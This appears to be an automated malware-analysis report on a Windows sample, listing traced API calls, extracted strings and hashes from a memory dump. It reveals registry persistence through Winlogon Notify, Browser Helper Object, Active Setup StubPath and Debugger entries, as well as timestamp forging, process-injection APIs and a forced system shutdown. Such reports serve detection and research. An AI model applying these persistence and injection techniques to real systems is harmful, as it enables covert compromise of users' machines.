CloseHandle.KERNEL32(?,?,?,?,qnd_b__-13,?,?,?,?,qnd_b__-13), ref: 00404804
RegCreateKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00000000,00000000,000F003F,0040F4FC,?,00000000,?,?,?,qnd_b__-13), ref: 0040484E
RegCreateKeyExA.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00000000,00000000,000F003F,0040F4FC,?,00000000), ref: 0040487A
RegQueryValueExA.ADVAPI32(?,Extended Flags,00000000,00000000,004120C4,?,?,?,0040F4FC,?,00000000,?,?,?,qnd_b__-13), ref: 004048B1
RegSetValueExA.ADVAPI32(?,Extended Flags,00000000,00000003,004120C4,0000000C,?,?,?,?,?,?,0040F4FC,?,00000000), ref: 004048D7
RegCloseKey.ADVAPI32(?,?,?,?,004120C4,?,?,?,0040F4FC,?,00000000,?,?,?,qnd_b__-13), ref: 004048E9
ExpandEnvironmentStringsA.KERNEL32(%ComSpec%,?,00000104,?,?,?,?,?,?,?,004120C4,?,?,?,0040F4FC,?), ref: 00404906
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00404925
GetFileTime.KERNEL32(00000000,?,?,?,00000000,?,?,?,?,?,?,?,?,?,004120C4,?), ref: 00404954
CloseHandle.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,004120C4,?), ref: 00404963
GetSystemDirectoryA.KERNEL32(?,00000100), ref: 00404998
lstrcatA.KERNEL32(?,00411030,?,00000100,?,?,00000104,?,?,?,?,?,?,?,004120C4,?), ref: 004049A9
lstrcatA.KERNEL32(00000000,007F7F98,?,00411030,?,00000100,?,?,00000104), ref: 004049B0
lstrcpyA.KERNEL32(?,%CommonProgramFiles%\System\,?,?,?,?,?,?,00000104), ref: 004049E6
lstrcatA.KERNEL32(00000000,007F7F98,?,%CommonProgramFiles%\System\,?,?,?,?,?,?,00000104), ref: 004049ED
ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104,?,?,%CommonProgramFiles%\System\,?,?,?,?,?,?,00000104), ref: 004049FC
lstrcpyA.KERNEL32(?,%AppData%\,?,?,?,?,?,?,?,?,?,%CommonProgramFiles%\System\), ref: 00404A2B
lstrcatA.KERNEL32(00000000,007F7F98,?,%AppData%\,?,?,?,?,?,?,?,?,?,%CommonProgramFiles%\System\), ref: 00404A32
ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104,?,?,%AppData%\,?,?,?,?,?,?,?,?,?,%CommonProgramFiles%\System\), ref: 00404A48
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000003,00000000,00000000,?,?,00000100,?,?,00000104), ref: 00404A8F
SetFilePointer.KERNEL32(00000000,000000F0,00000000,00000002,00000000,?,?,00000100,?,?,00000104), ref: 00404AA9
WriteFile.KERNEL32(00000000,004120C0,00000004,?,00000000,?,?,00000002,00000000,?,?,00000100,?,?,00000104), ref: 00404AC3
CloseHandle.KERNEL32(00000000,00000000,004120C0,00000004,?,00000000,?,?,00000002,00000000,?,?,00000100,?,?,00000104), ref: 00404AC9
CreateFileA.KERNEL32(?,80000100,00000001,00000000,00000003,00000000,00000000,?,?,00000100,?,?,00000104), ref: 00404AF2
SetFileTime.KERNEL32(00000000,?,?,?,00000000,?,?,00000100,?,?,00000104), ref: 00404B1E
CloseHandle.KERNEL32(00000000,?,?,?,00000000,?,?,00000100,?,?,00000104), ref: 00404B27
SetFileAttributesA.KERNEL32(?,00000021,?,?,?,00000100,?,?,00000104), ref: 00404B3C
CloseHandle.KERNEL32(?,00000021,?,?,?,00000100,?,?,00000104), ref: 00404B48
GetStartupInfoA.KERNEL32(?), ref: 00404B55
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00404B75
ExitProcess.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,00000100,?,?,00000104), ref: 00404B7F
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,00000104), ref: 00404BA5
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,?,?,?,?,?,?,004120C4,?), ref: 00404BC3
ReadFile.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,00000104), ref: 00404BF8
CloseHandle.KERNEL32(?,?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,00000104), ref: 00404C04
CreateThread.KERNEL32(00000000,00001000,00401379,?,00000000,?), ref: 00404C3F
CloseHandle.KERNEL32(00000000,?,?,?,00000000,?,00000104,?,?,?,?,?,?,?,004120C4,?), ref: 00404C48
RegCreateKeyA.ADVAPI32(80000002,0040F520,?), ref: 00404C95
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00404CB5
lstrcatA.KERNEL32(?,00411030,?,00000104,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00404CC6
lstrcatA.KERNEL32(00000000,007F8268,?,00411030,?,00000104), ref: 00404CCD
CreateMutexA.KERNEL32(00000000,00000000,00410180,?,?,00000104), ref: 00404CF3
WaitForSingleObject.KERNEL32(00000000,00002710,?,?,?,?,?,00000104), ref: 00404D0F
CloseHandle.KERNEL32(?,00002710,?,?,?,?,?,00000104), ref: 00404D1E
SetFileAttributesA.KERNEL32(?,00000080,?,?,?,?,?,?,?,?,00410180,?,?,00000104), ref: 00404D48
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00404D63
lstrlenA.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 00404E01
lstrcpyA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00404E3B
WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00404E74
SetFileTime.KERNEL32(?,?,?,?), ref: 00404EA9
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000), ref: 00404EB8
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 00404ED7
RegDeleteValueA.ADVAPI32(?,Debugger,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 00404EEB
lstrlenA.KERNEL32(?,?,?,?,?,?,?,00000000,00000000,?,?,?,?,?,?,?), ref: 00404F03
RegSetValueExA.ADVAPI32(?,Debugger,00000000,00000001,?,00000001,?,?,?,?,?,?,?,?,?,00000000), ref: 00404F1E
lstrcatA.KERNEL32(?,?), ref: 00404FD2
Sleep.KERNEL32(000007D0,?,?,?,00410A00,?,?,00411030), ref: 00405188
lstrlenA.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 0040525A
lstrcpyA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00405291
WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 004052CB
SetFileTime.KERNEL32(?,?,?,?), ref: 00405300
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000), ref: 0040530F
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 0040532E
RegSetValueExA.ADVAPI32(?,IsInstalled,00000000,00000004,00000001,00000004,?,?,?,?,?,00000000,00000000), ref: 0040536A
lstrlenA.KERNEL32(?,00000004,?,?,?,?,?,00000000,00000000,?,?,?,?,?,?,?), ref: 00405373
RegSetValueExA.ADVAPI32(?,StubPath,00000000,00000001,?,00000001,?,?,?,?,?,?,?,?,?,00000000), ref: 0040538E
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,00000080,00000000), ref: 004053B2
RegDeleteKeyA.ADVAPI32(80000001,?), ref: 004053C7
RegCloseKey.ADVAPI32(?,ShellRegEx), ref: 00405402
lstrcmpiA.KERNEL32(?), ref: 00405445
lstrcmpiA.KERNEL32(?,?), ref: 00405464
SetFileAttributesA.KERNEL32(?,00000080), ref: 00405480
DeleteFileA.KERNEL32(?,00000080), ref: 00405489
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004054B0
GetFileSize.KERNEL32(00000000,00000000), ref: 004054CE
CloseHandle.KERNEL32(?), ref: 004054ED
ReadFile.KERNEL32(?,00000000,?,?,00000000), ref: 0040551E
WriteFile.KERNEL32(00000000,0040F580,00000C00,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 00404D9D

Part of subcall function 0040140F: wsprintfA.USER32 ref: 00401422

RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,00000080,00000000), ref: 00404F42
GetComputerNameA.KERNEL32(?,?), ref: 00404F72
lstrcpyA.KERNEL32(?,QlC5hT0yHn63XEm5LqJ2OxSkGj2v,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00404F98
lstrcpyA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00404FB5
lstrlenA.KERNEL32(?), ref: 00404FDE
wsprintfA.USER32 ref: 00405088
lstrcpyA.KERNEL32(?,004101C0), ref: 004050C3
lstrcatA.KERNEL32(00000000,00412290,?,004101C0), ref: 004050CE
RegCreateKeyA.ADVAPI32(80000002,?,?), ref: 004050E4
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0040510D
lstrcatA.KERNEL32(?,00411030), ref: 0040511E
lstrcatA.KERNEL32(00000000,007F80D8,?,00411030), ref: 00405125
CreateMutexA.KERNEL32(00000000,00000000,00410A00,?,?,00411030), ref: 0040514B
WaitForSingleObject.KERNEL32(00000000,00002710,?,?,?,?,?,00411030), ref: 00405167
CloseHandle.KERNEL32(?,00002710,?,?,?,?,?,00411030), ref: 00405176
SetFileAttributesA.KERNEL32(?,00000080,?,?,?,?,?,?,?,?,00410A00,?,?,00411030), ref: 004051A0
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 004051BB
WriteFile.KERNEL32(00000000,00410200,00000800,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 004051F5
RegDeleteValueA.ADVAPI32(00000000,ShellRegEx), ref: 004053F3
lstrcpyA.KERNEL32(?), ref: 004055C0
lstrcpyA.KERNEL32(?,?,?), ref: 004055D5
ExpandEnvironmentStringsA.KERNEL32(%AppData%\,?,00000104,?,?,?), ref: 00405610
GetTempFileNameA.KERNEL32(?,tmp,00000000,?,00000104,?,?,?), ref: 0040562C
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000104,?,?,?), ref: 0040564B
GetTempPathA.KERNEL32(00000104,?,?,?,00000104,?,?,?), ref: 00405673
GetTempFileNameA.KERNEL32(?,tmp,00000000,?,?,?,?,?,00000104,?,?,?), ref: 00405693
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,?,00000104,?,?,?), ref: 004056B6
WriteFile.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,00000104), ref: 004056EA
CloseHandle.KERNEL32(?,?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,00000104), ref: 004056F6
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,00000000), ref: 00405715
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00405760
lstrcatA.KERNEL32(?,00411030,?,00000104,?,?,?,?,?,?,00000104,?,?,?), ref: 00405771
lstrcatA.KERNEL32(00000000,007F82E0,?,00411030,?,00000104,?,?,?,?,?,?,00000104,?,?,?), ref: 00405778
SetFileAttributesA.KERNEL32(00000000,00000080,00000000,007F82E0,?,00411030,?,00000104,?,?,?,?,?,?,00000104), ref: 00405783
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00411030,?,00000104), ref: 0040579E
WriteFile.KERNEL32(?,00407C80,00001400,?,00000000,?,?,?,?,?,?,00000080,00000000,?,00000104,?), ref: 004057DC
SetFileTime.KERNEL32(?,?,?,?), ref: 0040580A
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 00405819
GetLastError.KERNEL32(?,?,?,00000080,00000000,00411030,?,00000104,?,?,?,?,?,?,00000104), ref: 0040586E
ExpandEnvironmentStringsA.KERNEL32(%AppData%\,?,00000104,?,?,?,?,00000080,00000000,00411030,?,00000104), ref: 004058AC
lstrcatA.KERNEL32(?,00000104,?,?,?,?,00000080,00000000,00411030,?,00000104), ref: 004058BB
SetFileAttributesA.KERNEL32(00000000,00000080,?,00000104,?,?,?,?,00000080,00000000,00411030,?,00000104), ref: 004058C6
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,00000104,?,?,?,?,00000080), ref: 004058E1
GetLastError.KERNEL32(?,?,?,00000080,00000000,?,?,?,00000104,?,?,?,?,00000080,00000000,00411030), ref: 004058FD
GetTempPathA.KERNEL32(00000104,?,?,?,?,?,?,00000080,00000000,?,?,?,00000104), ref: 0040591B
lstrcatA.KERNEL32(?,00000104,?,?,?,?,?,?,00000080,00000000,?,?,?,00000104), ref: 00405927
SetFileAttributesA.KERNEL32(00000000,00000080,?,00000104,?,?,?,?,?,?,00000080,00000000,?,?,?,00000104), ref: 00405932
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000104,?,?,?,?,?,?,00000080), ref: 0040594D
GetLastError.KERNEL32(?,?,?,00000080,00000000,?,00000104,?,?,?,?,?,?,00000080,00000000), ref: 00405969
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040599B
ExpandEnvironmentStringsA.KERNEL32(%AppData%\,?,00000104,?,?,?,?,?,?,?,?,?,?,?,00000080,00000000), ref: 004059C0
lstrcatA.KERNEL32(?,00000104,?,?,?,?,?,?,?,?,?,?,?,00000080,00000000), ref: 004059CF
SetFileAttributesA.KERNEL32(00000000,00000080,?,00000104,?,?,?,?,?,?,?,?,?,?,?,00000080), ref: 004059DA
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,00000104), ref: 004059F5
WriteFile.KERNEL32(00000000,00409080,00006400,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 00405A27
CloseHandle.KERNEL32(?,00000000,00409080,00006400,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 00405A33
GetTempPathA.KERNEL32(00000104,?,?,?,?,?,?,00000080,00000000,?,?,?,00000104), ref: 00405A50
lstrcatA.KERNEL32(?,00000104,?,?,?,?,?,?,00000080,00000000,?,?,?,00000104), ref: 00405A5C
SetFileAttributesA.KERNEL32(00000000,00000080,?,00000104,?,?,?,?,?,?,00000080,00000000,?,?,?,00000104), ref: 00405A67
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000104,?,?,?,?,?,?,00000080), ref: 00405A82
WriteFile.KERNEL32(00000000,00409080,00006400,?,00000000,?,?,?,?,?,?,00000080,00000000,?,00000104,?), ref: 00405AB4
CloseHandle.KERNEL32(?,00000000,00409080,00006400,?,00000000,?,?,?,?,?,?,00000080,00000000,?,00000104), ref: 00405AC0
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,00006400,?,00000000), ref: 00405AF8
RegOpenKeyExA.ADVAPI32(80000002,00410A40,00000000,00020006,?,?,?,?,?,?,?,00000080,00000000,?,00000104,?), ref: 00405B2E
RegOpenKeyExA.ADVAPI32(80000001,00410A40,00000000,00020006,?), ref: 00405B4F
lstrlenA.KERNEL32(?,?,?,?,?,00020006,?,?,?,?,?,?,?,00000080,00000000), ref: 00405B79
RegSetValueExA.ADVAPI32(?,00000000,00000001,?,00000001,?,?,?,?,?,?,?,00020006,?), ref: 00405B95
RegCloseKey.ADVAPI32(?,?,?,?,?,00020006,?,?,?,?,?,?,?,00000080,00000000), ref: 00405BA7
RegCreateKeyA.ADVAPI32(80000002,00410A80,?), ref: 00405BF2
RegSetValueExA.ADVAPI32(?,00410AB5,00000000,00000004,?,00000004), ref: 00405C1B
RegCloseKey.ADVAPI32(?,00000004,?,?,?,?,?,?,?,?,?,?,?,00020006,?), ref: 00405C2A
RegOpenKeyExA.ADVAPI32(80000002,00410AE0,00000000,00020006,?,?,?,?,?), ref: 00405C9C
RegSetValueExA.ADVAPI32(?,00410B03,00000000,00000004,?,00000004,?,?,?,?,?,?,?,?,?), ref: 00405CC5
RegSetValueExA.ADVAPI32(?,00410B15,00000000,00000004,?,00000004,?,00410B03,00000000,00000004,?,00000004), ref: 00405CDD
RegSetValueExA.ADVAPI32(?,00410B2C,00000000,00000004,?,00000004,?,00410B15,00000000,00000004,?,00000004,?,00410B03,00000000,00000004), ref: 00405CF5
RegSetValueExA.ADVAPI32(?,00410B42,00000000,00000004,?,00000004,?,00410B2C,00000000,00000004,?,00000004,?,00410B15,00000000,00000004), ref: 00405D0D
RegCloseKey.ADVAPI32(?,00000004,?,?,?,?,?,?,?,?,?), ref: 00405D1C
RegOpenKeyExA.ADVAPI32(80000002,00410B60,00000000,0002001F,?,?,?,?,?,00020006,?,?,?,?,?), ref: 00405D52
RegDeleteValueA.ADVAPI32(?,00000000,?,?,?,0002001F,?,?,?,?,?,00020006,?), ref: 00405DCE
RegEnumValueA.ADVAPI32(?,?,00000000,?,00000000,?,00004000,00004000), ref: 00405E0A
wsprintfA.USER32 ref: 00405E24
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,00000000,00000001,?,?,?,?,0002001F,?), ref: 00405E3B
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,0002001F,?), ref: 00405E54
CreateThread.KERNEL32(00000000,00010000,00402818,00000002,00000000,?), ref: 00405E77
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00020006,?), ref: 00405E80
SetFileAttributesA.KERNEL32(?,00000021), ref: 00405F00
RegCreateKeyA.ADVAPI32(80000002,?,?), ref: 00405F1D
RegSetValueExA.ADVAPI32(?,IsInstalled,00000000,00000004,00000001,00000004), ref: 00405F5D
lstrlenA.KERNEL32(?,00000004), ref: 00405F66
RegSetValueExA.ADVAPI32(?,StubPath,00000000,00000001,?,00000001), ref: 00405F81
RegCloseKey.ADVAPI32(?,00000001,?,00000001), ref: 00405F90
SetFileAttributesA.KERNEL32(?,00000021,?,?,?,?,?,?,?,00000001), ref: 00405FAC
RegCreateKeyA.ADVAPI32(80000002,0040F520,?), ref: 00405FC6
lstrlenA.KERNEL32(?), ref: 00405FE6
RegSetValueExA.ADVAPI32(?,Debugger,00000000,00000001,?,00000001), ref: 00406001
RegCloseKey.ADVAPI32(?,00000001,?,00000001), ref: 00406010
RegOpenKeyExA.ADVAPI32(80000002,00410A40,00000000,00020006,?), ref: 00406039
RegOpenKeyExA.ADVAPI32(80000001,00410A40,00000000,00020006,?), ref: 0040605A
lstrlenA.KERNEL32(?,?,?,?,?,00020006,?), ref: 00406071
RegSetValueExA.ADVAPI32(?,00000000,00000001,?,00000001,?,?,?,?,?,?,?,00020006,?), ref: 0040608D
RegCloseKey.ADVAPI32(?,?,?,00000001,?,?,?,?,?,?,?,00020006,?), ref: 0040609C
RegCreateKeyExA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,0040F4FC,?,00000000), ref: 004060D6
RegCreateKeyExA.ADVAPI32(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,0040F4FC,?,00000000), ref: 00406102
RegSetValueExA.ADVAPI32(?,ShellRegEx,00000000,00000003,?,0000022A,?,?,0040F4FC,?,00000000), ref: 0040612E
RegCloseKey.ADVAPI32(?,0000022A,?,?,0040F4FC,?,00000000,?,?,?,?,?,?,?,?,00000001), ref: 0040613D
SetFileAttributesA.KERNEL32(?,00000021,?,?,?,?,?,?,?,?,0040F4FC,?,00000000), ref: 00406152
RegCreateKeyA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B},?), ref: 0040617C
lstrlenA.KERNEL32(?), ref: 0040619C
RegSetValueExA.ADVAPI32(?,DLLName,00000000,00000001,?,00000001), ref: 004061B7
RegSetValueExA.ADVAPI32(?,Startup,00000000,00000001,Startup,00000008,?,DLLName,00000000,00000001,?,00000001), ref: 004061D3
RegCloseKey.ADVAPI32(?,00000001,?,00000001), ref: 004061E2
RegCreateKeyA.ADVAPI32(80000000,CLSID\{F1ACE452-91D3-FF14-6B60-AD3718D5C8FC}\InProcServer32,?), ref: 00406204
lstrlenA.KERNEL32(?), ref: 0040621B
RegSetValueExA.ADVAPI32(?,00000000,00000000,00000001,?,00000001), ref: 00406233
RegSetValueExA.ADVAPI32(?,ThreadingModel,00000000,00000001,Both,00000005,?,00000000,00000000,00000001,?,00000001), ref: 0040624F
RegCloseKey.ADVAPI32(?,00000001,?,00000001), ref: 0040625E
RegCreateKeyA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{F1ACE452-91D3-FF14-6B60-AD3718D5C8FC},?), ref: 00406271
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 00406287
SetFileAttributesA.KERNEL32(?,00000021,?,?,?,?,?,?,?,00000001), ref: 0040629C
Sleep.KERNEL32(000003E8,00000021,?,?,?,?,?,?,?,00000001), ref: 004062A9
RegCreateKeyExA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,00000000,?,00000000), ref: 004062DF
RegQueryValueExA.ADVAPI32(?,g00d d0gg,00000000,00000000,?,?,?,?,00000000,?,00000000), ref: 0040631D
RegSetValueExA.ADVAPI32(?,g00d d0gg,00000000,00000004,?,00000004,?,?,?,?,?,?,00000000,?,00000000), ref: 00406356
RegDeleteValueA.ADVAPI32(?,g00d d0gg,?,?,?,?,?,?,00000000,?,00000000), ref: 0040636F
Sleep.KERNEL32(00001388,g00d d0gg,?,?,?,?,?,?,00000000,?,00000000), ref: 0040637C
RtlAdjustPrivilege.NTDLL(00000013,00000001,00000000,?), ref: 0040639B
NtShutdownSystem.NTDLL(00000001), ref: 004063A6
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 004063CA
CloseHandle.KERNEL32(?), ref: 004063E1
RegCloseKey.ADVAPI32(?,?,?,?,00412170,?,?,?,0040F4FC,?,00000000), ref: 004063F8
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,qnd_b__-13), ref: 00406409

Strings

InternetReadFile, xrefs: 0040405C
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B}, xrefs: 00406172
tmp, xrefs: 00405626, 0040568D
IsInstalled, xrefs: 0040535E, 00405F51
Both, xrefs: 0040623A
qnd_b__-13, xrefs: 004044C4
ThreadingModel, xrefs: 00406243
{%02X%02X%02X%02X-%02x%02x-%02x%02x-%02X%02X-%02X%02X%02X%02X%02x%02x}, xrefs: 0040507E
Extended Flags, xrefs: 004048A5, 004048CB
opera.exe, xrefs: 00405EC1
InternetCloseHandle, xrefs: 0040407C
ntdll.dll, xrefs: 00403C81
explorer.exe, xrefs: 00405841, 00405EDA
.exe, xrefs: 004043F5, 00404406, 00404417
Startup, xrefs: 004061BE, 004061C7
QlC5hT0yHn63XEm5LqJ2OxSkGj2v, xrefs: 00404F8B
Default Flags, xrefs: 0040475A, 00404784
wininet.dll, xrefs: 00403FD4
seamonkey.exe, xrefs: 00405EC6
%AppData%\, xrefs: 00404A1E, 0040560B, 004058A7, 004059BB
InternetOpenA, xrefs: 0040403C
NtOpenProcessToken, xrefs: 00403D0D
mozilla.exe, xrefs: 00405ECB
winlogon.exe, xrefs: 00405823
NtWriteVirtualMemory, xrefs: 00403CA0
ShellRegEx, xrefs: 0040452C, 004053ED, 00406122
%02X, xrefs: 004044B2
CreateRemoteThread, xrefs: 00403C1D
iphlpapi.dll, xrefs: 00403F2F
GetIpAddrTable, xrefs: 00403F55
rasapi32.dll, xrefs: 00403ED5
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{F1ACE452-91D3-FF14-6B60-AD3718D5C8FC}, xrefs: 00406267
f, xrefs: 00404DAE
NtAllocateVirtualMemory, xrefs: 00403C90
NtQueryInformationToken, xrefs: 00403D28
Debugger, xrefs: 00404EDF, 00404F12, 00405FF5
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced, xrefs: 004060CC, 004060F8, 004062D5
InternetOpenUrlA, xrefs: 0040404C
%ComSpec%, xrefs: 00404901
iexplore.exe, xrefs: 00405ED5
Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy, xrefs: 004046EA, 00404721, 004047B0, 00404844, 00404870
InternetSetOptionA, xrefs: 0040406C
RtlAdjustPrivilege, xrefs: 00403CC0
.dll, xrefs: 00404428, 00404439
firefox.exe, xrefs: 00405ED0
DLLName, xrefs: 004061AB
StubPath, xrefs: 00405382, 00405F75
NtShutdownSystem, xrefs: 00403CB0
RasEnumConnectionsA, xrefs: 00403EFB
g00d d0gg, xrefs: 00406311, 0040634A, 00406363
CLSID\{F1ACE452-91D3-FF14-6B60-AD3718D5C8FC}\InProcServer32, xrefs: 004061FA
%CommonProgramFiles%\System\, xrefs: 004049D9

Memory Dump Source

Source File: 00000000.00000002.2037696728.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2037684404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037716074.0000000000407000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037734587.0000000000410000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037748785.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037762972.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: File$Close$Create$Value$Handle$AddressProclstrcat$Attributes$Process$lstrlen$DeleteOpenWritelstrcpy$EnvironmentExpandStrings$CurrentLibraryLoadQuerySystemTempTime$DirectoryErrorLastNameObjectProcess32SingleWaitlstrcmpiwsprintf$ExitMutexPathReadSleepStartupThread$AdjustFirstInfoInformationNextPointerPrivilegeSizeSnapshotTokenToolhelp32$ClassCommandComputerCountEnumHeapLineModulePriorityShutdownTerminateTickVersion
String ID: %02X$%AppData%\$%ComSpec%$%CommonProgramFiles%\System\$.dll$.exe$Both$CLSID\{F1ACE452-91D3-FF14-6B60-AD3718D5C8FC}\InProcServer32$CreateRemoteThread$DLLName$Debugger$Default Flags$Extended Flags$GetIpAddrTable$InternetCloseHandle$InternetOpenA$InternetOpenUrlA$InternetReadFile$InternetSetOptionA$IsInstalled$NtAllocateVirtualMemory$NtOpenProcessToken$NtQueryInformationToken$NtShutdownSystem$NtWriteVirtualMemory$QlC5hT0yHn63XEm5LqJ2OxSkGj2v$RasEnumConnectionsA$RtlAdjustPrivilege$SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B}$SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced$SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{F1ACE452-91D3-FF14-6B60-AD3718D5C8FC}$ShellRegEx$Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy$Startup$StubPath$ThreadingModel$explorer.exe$f$firefox.exe$g00d d0gg$iexplore.exe$iphlpapi.dll$mozilla.exe$ntdll.dll$opera.exe$qnd_b__-13$rasapi32.dll$seamonkey.exe$tmp$wininet.dll$winlogon.exe${%02X%02X%02X%02X-%02x%02x-%02x%02x-%02X%02X-%02X%02X%02X%02X%02x%02x}
API String ID: 1618137752-1837311766
Opcode ID: 44ee22f3f9086342e07cbfe3a88fc6d276e0224249502bb7a72a9654b573f0bd
Instruction ID: fcd3a91cfab7fa25ee27508f4df0295c9928967f58dd1d1f7e7acfc0775f1f2c
Opcode Fuzzy Hash: 44ee22f3f9086342e07cbfe3a88fc6d276e0224249502bb7a72a9654b573f0bd
Instruction Fuzzy Hash: D1233BB19443406AE630B6349D47F9B3A989B40318F140A3FFA89B61D3E77C9529C79F

Function 0040151E Relevance: 15.1, APIs: 10, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,004049C8,?,00000100,?,?,00000104), ref: 00401549
SetFileAttributesA.KERNEL32(?,00000080,?,?,?,?,?,00000100,?,?,00000104), ref: 0040156D
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,?,?,?,?,00000100), ref: 00401588
ReadFile.KERNEL32(00000000,?,00001000,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 004015F1
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000080,00000000), ref: 00401601
CloseHandle.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000080,00000000), ref: 00401607
DeleteFileA.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000080), ref: 0040160D

Memory Dump Source

Source File: 00000000.00000002.2037696728.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2037684404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
